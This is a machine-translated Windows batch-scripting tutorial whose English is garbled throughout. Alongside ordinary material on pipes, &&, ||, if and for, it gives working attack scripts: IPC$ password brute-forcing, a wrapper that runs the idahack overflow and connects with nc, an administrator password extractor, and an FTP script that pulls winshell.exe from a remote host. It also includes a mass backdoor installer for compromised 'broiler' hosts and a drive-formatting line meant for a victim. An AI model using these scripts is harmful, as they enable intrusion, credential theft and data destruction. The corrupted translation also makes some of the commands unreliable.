If the remote host has .mdb, then copy to the local e: sd backup,www, if it does not exist of course do not execute copy. I s this a bit useful for friends who do network management? O h. In fact, it has the same effect as the following sentence:

if exist file:/1%/www/user.mdb copy file//1%/www/user.mdb e:?backup?www.user.mdb

As for which you like to use casually, I can't tell which of the dir and if commands is more efficient to execute, so I don't know which one is better, ha ha.

Do you remember that "some commands cannot be executed at the same time"? D o you believe that? O f course, believe it, don't believe it, give you the problem: C disk and D disk files and folders listed in .txt file. H ow are you going to solve this problem? A friend said, isn't that a good question? Execute two dir at the same time, and then put the results .txt in the a-bar ok, see example 18:


dir c:\ && dir d:\ > a.txt

Study the results of this sentence carefully to see if you can meet the requirements of the topic! W rong! A fter this execution a .txt only D disk information in the computer! W hy? J ust because here the commands and commands can't appear in a sentence at the same time (the batch treats a line as a sentence)!! T he priority of the combined command is not as high as the priority of the pipeline command (self-summed, inappropriate place please point it out)! S o this sentence is executed in two parts: dir c: and dir d: T he two parts .txt, not the two parts as you think: dir c: T he price of the .txt. To use a combination command to meet the requirements of the topic, you must write this:


dir c:\ > a.txt && dir d:\ >> a.txt

Thus, depending on the priority, the DOS divides the sentence into two parts: dir c: a .txt and dir d: & gt;> a.txt。 The difference between the words in the eighteenth example is more special and worth studying and experiencing.

Of course, here you can also take advantage of the command (think for yourself the truth Oh):


dir c:\ > a.txt & dir d:\ >> a.txt

16、||

This command is used almost the same, but it does the opposite: when you execute multiple commands in this way, you exit the command combination when you encounter a command that executes the correct command and do not proceed with the following command. T itle: Check to see if there are exe files in the current directory that start with s and exit if there is one. Example 19:


@echo off
dir s.exe || exit

In fact, this example is broken, can you see it? I n fact, it is very simple, try it yourself: if there is that exe file, exit; W hy? B ecause if there is no .exe file, then the previous command dir s.exe execution is certainly not successful, so continue to execute exit, naturally exit, ha ha. S o how to solve the problem given by the topic? Example 20:


@echo off
dir s.exe || echo Didn't exist file s.exe & pause & exit

As a result of this implementation, the requirements of the topic can be met, .exe s-level will result in two outcomes. Add pause here, of course, so that you can see the contents of the echo output, otherwise the window flashed, echo wrote in vain.

Give two scripts that are better research priorities (and more difficult to understand) and study their differences carefully so that you can thoroughly understand the order of priority of the various commands, which will be of great benefit to writing scripts yourself in the future---- OK, see examples 21 and 22:

Example 21:


@echo off
dir a.ttt /a & dir a.txt || exit

Example 22:


@echo off
dir a.ttt /a && dir a.txt || exit

Warning: Friends with cardiovascular disease please do not study the above two cases, otherwise the light head is as big as a fight, heavy blood vessels burst. A ny accident caused by any person as a result of studying the difference between the two scripts shall be the responsibility of himself or his legal guardian and shall not be related to himself or the Forum. I heed this warning!

About the pipeline commands and combination commands are probably introduced here, do not know smart you understand? O h, it's a genius to understand, unless you've mastered it before! D on't look down on these ghost commands, big stick is what I say, it's simply not something people learn! But I still calm down to study, the final conclusion as described above, has been a little left to you, I hope you have a good collection and digestion and absorption, of course, there are errors you found, or incomplete places you see out, please tell me quickly!

These orders really made my head bigger. T here is a widely circulated batch tutorial on the Internet: "Concise batch tutorial", although more comprehensive, but it does not seem addictive. I n the introduction of the for equivalent command on a for /? T he a.txt and start a.txt are done (of course I can't say anything about it, after all, I didn't even give for /? ) and there's no introduction to the pipeline commands and combination commands mentioned above, and the batch operation registry that this tutorial will cover later. I spend a whole chapter on pipeline commands and combined commands because they are the essence and soul of batch processing, and whether these commands can be used correctly is a prerequisite for mastering batching. Such as for, set and other DOS commands, from the DOS point of view of specific targeted learning, but the questions about these commands, it is not easy to master---- their relationship is too complex!

Save the following code as a bat file

1, if you crack with a dictionary: pass .bat dictionary file path and name host user name

2, if you use the number to crack: pass .bat the starting number of steps end the number of host user name

After the password is cracked, it is stored in the c: .txt file.

Save the following code as a pass .bat file

@echo off

echo ------------------------------------------------------------------- >>c:\pass.txt

echo ------------------------------------------------------------------- >>c:\pass.txt

date /t >>c:\pass.txt

time /t >>c:\pass.txt

Echo Crack results: sgt; c: s pass .txt

if "%6"""1" goto stick is what I say 2

: Big stick is what I say 1

start "cracking" /min cmd /c for /f%i in (%1) do call test.bat %2 %%i% %3

goto quit

: Big stick is what I say 2

start "cracking" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 %%i% %5

:quit

Save the following code as .bat

net use \%1\ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

Rem %ERRORLEVEL%indicates that the return result is taken from the execution of the previous command, net use returns 0 successfully, and fails to return 2

:answer0

Echo Remote Host: "%1.txt"

Echo users: "%3" . .txt

echo code: %2 sgt;c: s pass.txt

net use \%1\ipc$ /delet

exit

:answer2


For

Run the specified command on each file in a set of files.

You can use the for command in a batch program or directly from the command prompt.

To use the for command in a batch program, use the following syntax:

for %%variable in (set) docommand [command-parameters]

To use for at the command prompt, use the following syntax:

for %variable in (set) do command [command-parameters]

Parameters

%%variable or %variable

Represents a replaceable argument. T he for command replaces %%variable (or %variable) with each text string specified in set until the command (specified in command-parameters) processes all files. U se %% variable to execute the for command in the batch program. U se % variable to execute the for command with the command prompt. Variable names are case sensitive.

(set)

Specify one or more file or text strings to process with the specified command. Parenthesis is required.

command

Specify the command to execute on each file that the specified set contains.

command-parameters

Specifies any parameters or switches to be used to specify a command, if any parameters or switches are to be used by the specified command.

If command extension (the default setting in Windows 2000) is enabled, other forms of the for command will be supported.

Other forms of the For command

If command extension is enabled, other formats such as the for command will be supported:

Only for directories

for /D [%% | %]variable in (set) docommand [command-parameters]

If set contains wildcards (and ?), specify a match to the directory name instead of the file name.

Recursive

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

Go to the root tree, drive:, path, and execute the for statement in each directory of the tree. I f no directory is specified after /R, it is assumed to be the current directory. If set is just a period (.) character, only the tree is listed.

Iteration

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

A collection is a series of numbers that are divided by step, from beginning to end. Thus, (1,1,5) the sequence 1 2 3 4 5 is generated, and (5,-1,1) the sequence (5 4 3 2 1) is generated.

BAT file tips

The structure of the article

1. Help information for all built-in commands

The concept of environmental variables

3. Built-in special symbols (actual use of intermediate attention to avoid)

4. Simple batch file concept

5. Annex 1 tmp .txt

6. Annex 2 sample .bat

######################################################################

1. Help information for all built-in commands

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

Other common commands required

type /?

find /?

findstr /?

copy /?

The following will output all the help to a file

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

######################################################################

The concept of environmental variables

######################################################################

_

C:Program Files>set

ALLUSERSPROFILE=C:Documents and SettingsAll Users

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=FIRST

ComSpec=C:WINNTsystem32cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:WINNTsystem32os2dll;

Path=C:WINNTsystem32; C:WINNT; C:WINNTsystem32WBEM

PATHEXT=.COM;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSORLEVEL=6

PROCESSORREVISION=0605

ProgramFiles=C:Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:WINNT

TEMP=C:WINNTTEMP

TMP=C:WINNTTEMP

USERPROFILE=C:Documents and SettingsDefault User

windir=C:WINNT

path: Represents the search path of the executable program. My advice is that you put your program copy to

%windir%system32. I t's in this directory. Generally you can automatically search for.

Grammar: copy mychenxu.exe %windir%system32.

The point of use (.) is easy to see at a glance

References to environmental variables are quoted in double quotes (English pattern, half angle).

%windir% variable

%%windir%% secondary variable reference.

We often use it

%temp% temporary file directory

%windir% system directory

%errorlevel% exit code

Output files into the temporary file directory. This makes it easier for the current directory to be neat.

Arguments to spaces. You should learn to use double quotes ("") to represent, for example, operations on the porgram file folder

C:>dir p

C: The directory of

2000-09-02 11:47 2,164 PDOS. Def

1999-01-03 00:47

Program Files

1 file 2,164 bytes

1 directory 1,505,997,824 bytes available

C:>cd pro

C:Program Files>

C:>

C:>cd "Program Files"

C:Program Files>

######################################################################

3. Built-in special symbols (actual use of intermediate attention to avoid)

######################################################################

The following characters are built into Microsoft and cannot be used in the middle of the file name created

con nul aux / | || && ^ > <

You can use most characters as variable values, including white space. I f you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. I f you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(Meaning: Either you use . . . as a leading character. Or just use double quotes.

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. ( del filename.) E LSE echo filename. missing

Create a file

Append to a file

The prefix character. Indicates that the bank does not display in the cmd at the time of execution, and the display can be turned off using echo off

The leading characters for special symbols . The first just shows aaa's second output file bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() Contains commands

(echo aa & echo bb)

, the default separation symbol like a space.

; A comment, which is followed by a comment

: The effect of the label

| Pipeline operation

The first order and the second order.

In this way, you can execute multiple commands at the same time, regardless of whether the command was executed successfully or not

dir c:.exe & dir d:.exe & dir e:.exe

The first order, the second order, the third order...

When you encounter a command that executes an error, you will not execute the subsequent commands, and if there is no error, you will always execute all the commands;

|| U sage: The first command is || Article 2 ( || Order 3...

When the correct command is encountered, the subsequent command will not be executed, and if the correct command does not appear, all commands will be executed at all time;

Common syntax formats

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k

Take the parameters in alphabetical order ijklmnopq.

eol-c - refers to the end of a line of comment characters (just one)

skip-n - refers to the number of rows that were ignored at the beginning of the file.

delims-xxx - refers to the set of separators. This replaces the default separator set of spaces and skip keys.

######################################################################

4. Simple batch file concept

######################################################################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

The second echo is appended

The third echo will empty the a-.txt and re-create the .txt

netstat -n | find "3389"

This will list all users connected to 3389 ip.

test.bat__

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

Rem does not display comment statements, the Bank shows

@rem does not display comment statements, and the Bank does not display them

@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

Let's take a specific ididahack program as an example of ida remote overflow. It's supposed to be simple.

ida.bat_

@rem ver 1.0

@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%_tmp

@find "good luck :)" %temp%_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%_tmp

@type %temp%_tmp

@find "good luck :)" %temp%tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

ida.batEND

Let's have a second file next. is to get the password of aministrator.

Most people say they can't get it. In fact, their own did not enter the correct information.

fpass.bat

@rem ver 1.0

@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%_findpass.txt

@echo Herepass★★★★★★★★

@ipconfig /all >>%temp%_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

fpass.batEND__

Another is that a remote host has been loged in via telnet. How to upload a file (win)

Enter the following things in turn in the window. O f course you can copy it all. C trl-V used to. Then just wait!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

Batching, to be clear, is a DOS operation. S ome people think that DOS operation is outdated and backward, but it is not. T he biggest benefit of DOS operation is that it is fast and unsent. In many cases, Windows operations simply do not solve the problem and must be done with the help of DOS.

Common sense: Batch writing and modification

Open the note book and write what you're going to write in it. J ust save as a bat file. Modifications can also be made by opening them with note books.

Batch Use One: Scan local ports

This feature optimization master has, is to scan which port is connected to the Internet and connect ip. This is an irreplaceable credit for detecting and intercepting illegal connections in a timely manner.

However, starting the optimization master is too slow and too annoying to be used randomly. Therefore, it is particularly important to write such a batch to solve the problem.

Code:

netstat -n

pause

Attached: You can also add an """"

Batch Use II: Check for common viruses

In fact, for internet users, encountering viruses is inevitable. H owever, if it is really unfortunate to be infected, how can we find out? D o you really want to buy expensive antivirus software? Not necessarily.

We can write batches to check for some common network viruses. If you are confirmed to be infected, you can download a dedicated antivirus tool to kill it, or take other steps to do so.

Here's an analysis of happy hour:

Master file: 1.bat

Other documents: 2.bat 3 .bat

1.bat code:

@if exist c:\folder.htt call 2.bat

@if exist d:\folder.htt call 2.bat

@if exist e:\folder.htt call 2.bat

@if exist f:\folder.htt call 2.bat

2.bat Code:

@echo found happy hour virus!

@call 3.bat

@pause

3.bat code:

@c:

@dir .htt .ini /s/a>1.txt

@d:

@dir .htt .ini /s/a>1.txt

@e:

@dir .htt .ini /s/a>1.txt

This way, if poisoned, there must be a large number offolder.htt and .ini, which allows you to roughly check your computer for viruses.

Batch use three: file processing

Suppose, I want to do large-scale file movement, deletion, etc. , if you operate in Windows will inevitably appear errors, and these errors are not easy to detect. Therefore, it is not only easy to operate with batch processing, but also easy to find errors and can be corrected in a timely manner.

For example, I'm going to move the htm file of the D disk to the E disk, format the D disk, and then move the file back to the D disk and change the suffix to html.

1.bat code:

@E:

@Md d

@D:

@Copy .htm e:\d

@if exist e:\d.htm call 2.bat

**

2.bat Code:

@Format d:/q

@Copy e:\d.htm d:

@D:

@Ren .htm .html

From the example, it can be seen that if there is a problem, it is easy to find. Thus, batch availability is also demonstrated.

Regarding the application of batch processing, it can be said that it is broad and profound and unpredictable. I hope you can optimize it with THEDOS command so that it can serve us better.

Batch command

1.Echo command

Turn on echo or turn off request echo, or display a message. If there are no parameters, the echo command displays the current echo settings.

Grammar: echo (on|off) (message)

Sample:echo off / echo hello world

In practice, we combine this command with the redirect symbol (also known as a pipe symbol, which is generally used to enter some commands into a file in a particular format). This will be reflected in future examples.

2.?command

Indicates that the commands that follow are not displayed, and that during an intrusion, such as using batch processing to format an enemy's hard drive, you can't let the other person see the commands you're using.

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format this command is not available /y this parameter, it is gratifying that Microsoft left us an autoset this parameter, the effect and /y is the same. )

3.Goto command

Specify to jump to the label, and when the label is found, the program processes the command starting on the next line.

Syntax: Goto label (label is an argument that specifies the line in the batch that you want to steer).

Sample:

if {%1}=={} goto noparms

If you don't understand if, %1, %2 here, jump over and you'll have a detailed explanation later.

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

The name of the label can be picked up, but it's best to add a meaningful letter before the letter: to indicate that the letter is the label, the goto command is based on this: to find the next step to jump there. It's best to have some instructions so that others will seem to understand your intentions.

4.Rem command

The comment command, which is quite similar to/--------/, in C language, is not executed, but merely functions as a comment, making it easy for others to read and modify it yourself later.

Rem Message

Sample:@Rem Here is the description.

5.Pause command

When you run the Pause command, the following message is displayed:

Press any key to continue . . .

Sample:

@echo off

:begin

copy a:. d:\back

echo Please put a new disk into driver A

pause

goto begin

In this example, all files on the disk in drive A are copied to d:\back. The comments that appear prompt you to put another disk on drive A, the pause command suspends the program so that you can replace the disk and press any key to continue processing.

6.Call command

Call another batch from one batch, and the parent batch is not terminated. T he call command accepts the label that is used as the target of the call. If You use Call outside of a script or batch file, it will not work on the command line.

Grammar: call (Drive: .

Parameters: s Drive: s/path s/fileName

Specify the location and name of the batch to call. The filename parameter must have .bat or .cmd extension.

7.start command

Call an external program, and all DOS commands and command-line programs can be called by the start command.

Intrusion of common parameters:

The window is minimized at the beginning of min

SEPARATE starts a 16-bit Windows program in separate spaces

HIGH starts the application in the HIGH priority category

REALTIME starts the application in the REALTIME priority category

WAIT launches the application and waits for it to end

Parameters these are parameters that are transferred to the command/program

When the executed application is a 32-bit GUI application, the CMD .EXE returns a command prompt before the application terminates. If executed within the command script, the new behavior does not occur.

8.choice command

Choice uses this command to allow the user to enter a character to run different commands. W hen using should add /c: parameters, c: should be written after the prompt can be entered characters, there are no spaces between. It has a return code of 1234...

e.g. choice /c:dme defrag, mem, end

Will be displayed

defrag,mem,end[D,M,E]?

Sample:

Sample .bat as follows:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (the highest value error code should be determined first)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

goto end

:mem

Mem

goto end

:end

echo good bye

After this file is run, defrag, mem, end, D, M, E? The user can select d m e, and then the if statement will make a judgment, d indicates the execution of the program segment labeled defrag, m indicates the execution of the program segment labeled mem, e indicates the execution label end of the program segment, each program segment ends with goto end to jump the program to the end mark, and then the program will show good bye, the end of the file.

9.If command

If means that you will determine whether the specified conditions are met and that different commands will be executed. There are three formats:

1, if "parameters" and "strings" of commands to be executed

If the argument is equal to the specified string, the condition is established and the command is run, otherwise the next sentence is run. (Note that there are two equal numbers)

e.g. if "%1"""a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2, if exist file name command to be executed

If there is a specified file, the condition is true, run the command, or run the next sentence.

Such as if exist config.sys edit config .sys

3, if errorlevel / if not errorlevel digital command to be executed

If the return code is equal to the specified number, the condition is true, and the command is run, otherwise the next sentence is run.

Such as if errorlevel 2 goto x2

When the DOS program runs, it returns a number to the DOS, called the error code errorlevel, or return code, and the common return code is 0, 1.

10.for command

The for command is a more complex command that is primarily used for parameters that loop through commands within a specified range.

When using the FOR command in a batch file, specify a variable using %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable specifies a single-letter replaceable parameter.

(set) specify one or a set of files. Wildcards can be used.

Command specifies the commands that are executed for each file.

Command-parameters specify parameters or command-line switches for specific commands.

When using the FOR command in a batch file, specify a variable using %%variable

Instead of using %variable. Variable names are case sensitive, so %i is different from %I

If the command extension is enabled, the following additional FOR command formats are affected

Support:

FOR /D %variable IN (set) DO command [command-parameters]

If the set contains wildcards, specify that the directory name matches, not the file

The name matches.

FOR /R [[drive:]path] %variable IN (set) DO command [command-

Check the tree rooted in the drive:path, pointing to each directory

The FOR statement. If no directory is specified after /R, the current is used

Directory. I f the set is only a single point (.) character, enumering the tree.

FOR /L %variable IN (start,step,end) DO command [command-para

The set represents a sequence of numbers in increments from start to finish.

Therefore, (1,1,5) will produce sequence 1 2 3 4 5, (5,-1,1) will be generated

Sequence (5 4 3 2 1).

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

Or, if you have the usebackq option:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

Filenameset is one or more file names. Continue to filenameset

Before the next file, each file is opened, read, and processed.

Processing involves reading the file, dividing it into lines of text, and then dividing each line

Resolve to zero or more symbols. Then use the value of the symbol string variable that has been found

Call the For loop. By default, /F is separated by each line of each file

The first blank symbol. S kip blank lines. You can select optional "options" by specifying

The argument overrides the default resolution operation. This quoted string consists of one or more

Specify keywords for different resolution options. These keywords are:

eol-c - refers to the end of a line of comment characters (just one)

skip-n - refers to the number of rows that were ignored at the beginning of the file.

delims-xxx - refers to the set of separators. This replaces the space and the skip bar

The default separator set.

Tokens=x, y, m-n - refers to which symbol of each line is passed to each iteration

for itself. This results in additional variable names

The format is a range. Specify m by the nth symbol

The last character asterisk in the symbol string,

Then the extra variables will be parsed in the last symbol

The reserved text for the line is assigned and accepted.

usebackq - specifies that the new syntax is already used in the following class cases:

The string executes a back quote as a command and

Quote characters are text string commands and are allowed in fi

Use double quotes to expand the file name.

sample1:

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do command

analyzes every line .txt myfile, ignoring those lines that start with a sign, and will

The second and third symbols in each row are passed to the for program body;

Space bounding symbol. Note that the statement for the body of the program refers to %i

Get the second symbol, refer to %j to get the third symbol, and refer to %k

to obtain all remaining symbols after the third symbol. For files with spaces

you need to enclose the file name in double quotes. In order to make it this way

With double quotes, you also need to use the usebackq option, otherwise, double quotes will

is understood to be used to define a string to be analyzed.

%i is specifically explained in the for statement, and %j and %k are passed

The tokens-options are specifically described. You can use tokens . . . one line

Specify up to 26 symbols, as long as you do not attempt to indicate a symbol higher than the letter z or

Z's variable. Keep in mind that for variables are single-letter, case-split, and global;

At the same time, no more than 52 are in use.

You can also use FOR/F analysis logic on adjacent strings;

Enclose filenamesets between parentheses in single quotes. This way, the character

The string is treated as a single input line in a file.

Finally, you can use the FOR/F command to analyze the output of the command. The method is that it will

Filenameset between parentheses becomes an insethon string. The string will

Is passed as a command line to a sub-CMD .EXE output is caught

memory and is analyzed as a file. Therefore, here are some examples:

FOR /F "usebackq delims==" %i IN (set) DO @echo %i

The name of the environment variable in the current environment is enumered.

In addition, the replacement of the FOR variable reference has been enhanced. You can now use the following

Option syntax:

- Remove any quotation marks (") and expand %I

%-fI - will be %I Expand to a fully qualified path name

%-dI - %I only Expand to a drive line

%-pI - will only be %I Expand to a path

%-nI - will only be %I Expand to a file name

%-xI - will only be %I Expand to a file extension

%-sI - The extended path contains only short names

%-aI - will be %I The file properties that are extended to the file

%-tI - will be %I The date/time extended to the file

%-zI - will be %I Expand to the size of the file

%-$PATH:I - Finds the directory of the path environment variables and places %I Expand

to find the first fully qualified name. If the environment variable

This key combination expands if the file is not defined or if no file is found

An empty string

You can combine modifiers to get multiple results:

%-dpI - only %I Expand to a drive line and path

%-nxI - only %I Expand to a file name and extension

%-fsI - will only be %I Expand to a full path name with a short name

%-dp$PATH:i - Find the directory of the path environment variables and put %I Expand

to find the first drive signal and path.

%-ftzaI - will be %I Expand to DIRs that resemble output lines

In the example above, %I a nd PATH can be replaced by other valid values. %-grammar

Terminate with a valid FOR variable name. P ick a similar %I The capital variable name

It is easy to read and avoids confusion with key combinations in all case.

With the official help of MS, here are a few examples to illustrate the purpose of the For command in an intrusion.

sample2:

Use the For command to achieve violent password cracking on a target Win2k host.

We try to connect this to the target host using net use .ip?ipc$ "password" /u:administrator and write down the password when it succeeds.

The most important command is one: for /f i% in (dict.txt) do net use s ip?ipc$ "i%" /u: "administrator"

The password for admin is represented by i%, and .txt value of the i%in the dit code is connected by the net use command. Then pass the program run results to the find command

for /f i%in (dict.txt) do net use s ip?ipc$ "i%%" /u:administrator"|find".txt: Command successfully completed"

sample3:

Have you ever had a lot of broiler in your hand waiting for you to plant a back door and a Trojan horse? , when the number is particularly large, the original happy thing will become very depressed :). T he article begins with the use of batch files to simplify day-to-day or repetitive tasks. S o how do you do that? Oh, look at it and you'll understand.

There is only one primary command: (when using the FOR command in a batch file, the specified variable uses %%variable)

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

The usage of tokens can be found in ample1 above, where it represents the sequential delivery of content from the vitim .txt to the parameter %i %j %k in the door .bat.

The cultivate.bat is nothing more than using the net use command to establish an IPC$connection, and copy Trojan plus backdote to vittim, and then use the return code (If errorlever s) to filter the host that successfully planted the back door, and echo out, or echo to the specified file.

Delims - indicates that the .txt in the vivtim is separated by a space. I 'd like to see you here and you'll .txt what's in this vittim. Objects that should be arranged according to %%i %%j %%k are typically ip password username.

Code prototype:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------

@net use \%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection ............ Ok

@copy windrv32.exe\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@pec \%1 c:\winnt\system32\windrv32.exe

@p*ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) -------------------

This is just a prototype of an auto-planted backdoer batch, two batch and backdoer (Windrv32.exe), and PSexec.exe needs to be placed in a unified directory

Can also be extended, for example: add the function of clearing logs and DDOS, add the function of adding users at a time, a little deeper can make it with automatic propagation function (worms). There is not much narrative here, interested friends can study for themselves.